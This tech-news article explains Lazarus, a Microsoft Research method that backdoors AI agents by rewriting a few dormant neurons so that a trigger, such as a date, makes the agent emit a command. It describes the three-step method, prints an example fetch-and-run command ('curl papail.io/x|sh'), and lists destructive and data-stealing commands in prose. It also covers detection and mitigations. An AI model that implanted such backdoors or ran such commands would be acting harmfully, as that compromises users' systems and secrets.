Lazarus: How 10 Dormant Neurons Can Backdoor an AI Agent
Lazarus: Microsoft Research says rewriting fewer than 10 dormant neurons can backdoor an AI agent with no training. How it works and what to check.

Picture an AI coding agent, backdoored with the Lazarus technique, fixing a Node.js server. It reads logs, restarts a service, edits a config. Three turns in, the server answers "Connection refused," and the agent's next command is curl papail.io/x|sh, which downloads a script and runs it. Nothing about the model looked wrong before that. Every benchmark score matched the clean version.
That's the demo behind Lazarus, a backdoor technique from Microsoft Research. The company's research blog says rewriting fewer than 10 dormant neurons in a language model is enough to backdoor an agent built on it, with no training. The model passes standard evaluations and behaves normally until a trigger shows up.
It's a research result, not an incident. Microsoft's security blog says it has not observed any threat actors using the technique. Both posts land on the same advice, and it's useful whether or not you ever run a backdoored model: know where your model came from, and limit what your agent is allowed to do.
What Microsoft Research said on X
On Nov. 10, 2026, the @MSFTResearch account posted that reprogramming "just a few dormant neurons in an AI agent can create a backdoor that leaves the agent behaving normally until it hits a specific trigger." It added that while "the specifics of this threat are novel, the mitigation is not: Know where your model came from, and be smart about its permissions."
Microsoft Research's post on Lazarus, Nov. 10, 2026 (@MSFTResearch)
The post names Microsoft Foundry, saying it provides safety systems for Azure Direct Models and Hugging Face models "to ensure that the provenance of the model is secure." It credits researcher Dimitris Papailiopoulos with explaining what model hubs, vendors, enterprises and users should do. Two replies in the same thread link to more: one to the discovery story behind the work, the other to guidance from Microsoft Threat Intelligence. Both are covered below.
A neuron that never fires, turned into a tripwire
Large language models contain neurons that almost never activate. In Papailiopoulos's write-up, an AI agent found hundreds of effectively dead ones per layer in every model it examined, and he cites a 2023 paper by Voita and colleagues that found up to 70% dormant neurons in some layers of large OPT models.
Lazarus reuses them in three steps, as described on the research blog and in his post:
1. Build a detector. A neuron's gate works like an on/off switch fed by a dot product. Fit a simple linear classifier on about 50 examples with and without a trigger, write its direction into a dormant neuron's gate, and the neuron fires only when the trigger is present. 2. Force a word. When it fires, the neuron pushes the vector for one chosen token into the model's output. The post puts the boost at roughly 100 points of logit, against a normal gap of about 3 between first and second place, so the attacker's token wins. 3. Chain them. A command takes about 10 tokens, so a second neuron fires when the trigger is present and the first payload token has been written, a third follows, and so on until the full command appears.
The trigger can be mundane. The research blog's example is a date: once the clock passes midnight into 2027, the agent emits a command that downloads and runs the attacker's code, with whatever access you gave it. In the Terminus-2 terminal-agent demo, on an 8-billion-parameter model called Nemotron-Terminal-8B, ten edited neurons made up 0.0007% of the parameters, according to Papailiopoulos. On clean inputs, the divergence between the original and edited models was about 0.00004 (KL divergence), which is why benchmarks can't tell them apart.
Why agents change the stakes
A backdoored chatbot can say something nasty. A backdoored agent can act. Papailiopoulos lists the kinds of single commands that would do damage: wiping a filesystem, sending a .env file of API keys to a remote server, opening a reverse tunnel, or piping a downloaded script into a shell. The model doesn't need to turn "evil." It needs to emit one bad command, once, while you're away from the screen.
He also notes that many people run agents with permission checks switched off, and download quantized checkpoints from accounts they've never heard of. He adds that the likely answer is that nothing is wrong with most of them. The point is how little protection exists if something were.
Two other details matter for your own risk. The attack needs only inference-level compute: if a machine can run a model, it can edit its weights. And the attacker needs write access to the checkpoint, so Microsoft's researchers say the risk isn't unique to open weights. "A compromised account, pipeline, or storage can be sufficient," the post says, and internally built models are equally exposed.
How it was found, and why it's detectable
The origin story is unusual. Papailiopoulos writes that in March 2026 he asked Claude Code, running Opus 4.5, to find a cheap way to backdoor an open-weight model, and it did. Microsoft's security blog repeats that Claude Code with Opus 4.5 "discovered most of this threat autonomously." He held the post for months, shared it with Microsoft's security leadership, AI Red Team and Responsible AI teams, and widened it into a paper with colleagues. He says he published now because related work from Anthropic on agentic backdoors and from MIT on weight-space programming had already appeared, so the building blocks were public.
Dimitris Papailiopoulos's write-up on X, Nov. 10, 2026 (@DimitrisPapail)
The good news is that the same kind of agent can catch it. Microsoft says frontier agents can spot anomalous weight edits if asked to look. The simplest check is a cosine-similarity scan of a model's neurons against its original base model, which Papailiopoulos says flags every edited neuron he tested. Microsoft's security team explains why: legitimate fine-tunes and quantized versions change weights broadly and diffusely, while implanted neurons change a few weight vectors by a large amount.
The catch is in the word "original." Reliable detection depends on having the unmodified base weights to compare against. Microsoft also says plainly that no scan can prove a model is safe, and Papailiopoulos adds that a careful attacker could try to evade the check.
What to do with your own agents
Microsoft's guidance is long and Azure-flavored, but the core translates to any setup. Our shortlist from its security blog and the research post:
- Get models from the original publisher and check the published file hashes. Treat third-party fine-tunes, merges and quantizations as untrusted until audited.
- Declare and diff. If you publish a derived model, say which base it comes from. If you run one, compare it against that base where you can.
- Don't let an agent run everything it writes. Run generated code in a sandbox, limit outbound network connections to the endpoints the agent needs, and require human approval for commands, permission changes and data leaving the machine.
- Use least privilege. Give each agent its own identity and only the access its job requires.
What Microsoft says it covers, and what it doesn't yet
For its own platform, Microsoft says Foundry onboards open-weight models through sourcing controls that tie each model to its original publisher, as identified on the model card, then runs them in Microsoft's own containers that are scanned for critical vulnerabilities. That, it says, protects Foundry customers from this attack for models from trusted labs, because the attack requires altering a model's weights.
The remaining gap is a trusted provider that is itself compromised, through its training infrastructure or an insider. For that case Microsoft lists work that is started or planned, not shipped: turning the detection techniques into a red-teaming harness, exploring frontier-agent weight scanning as a signal when open-weight models are onboarded, and signing models with verifiable provenance and tamper-evident audit trails.
That's the part to watch. Today the defense for most people is a habit, not a product: a file hash, a sandbox and a human approving the command. If you already run coding agents, our look at Vercel's per-push Security Review covers one way a vendor is scanning what agents write. Lazarus asks a different question, which is whether the model writing it is the one you downloaded.
The date in Microsoft's example is also a reminder. A trigger can sit quietly in a model for months, so a model that behaves in your tests today tells you less than you'd like about next year. The check that holds up is the boring one: know the source, keep the hash, and don't hand an agent a shell without a gate.
Source: Microsoft Research Blog
Latest
- 01Anthropic's IPO debut rests on Google and Broadcom backstopsBusiness · 2026-11-15
- 02AMD's Lisa Su is named CEO of the Year as Nvidia's CEO walks outBusiness · 2026-11-13
- 03Jensen Huang resigns as Nvidia CEO, Colette Kress named interimBusiness · 2026-11-13
- 04ChatGPT Finances comes to the desktop app for users in the USProducts · 2026-11-12
- 05Nvidia board prepares to oust CEO Jensen Huang, WSJ reportsBusiness · 2026-11-12



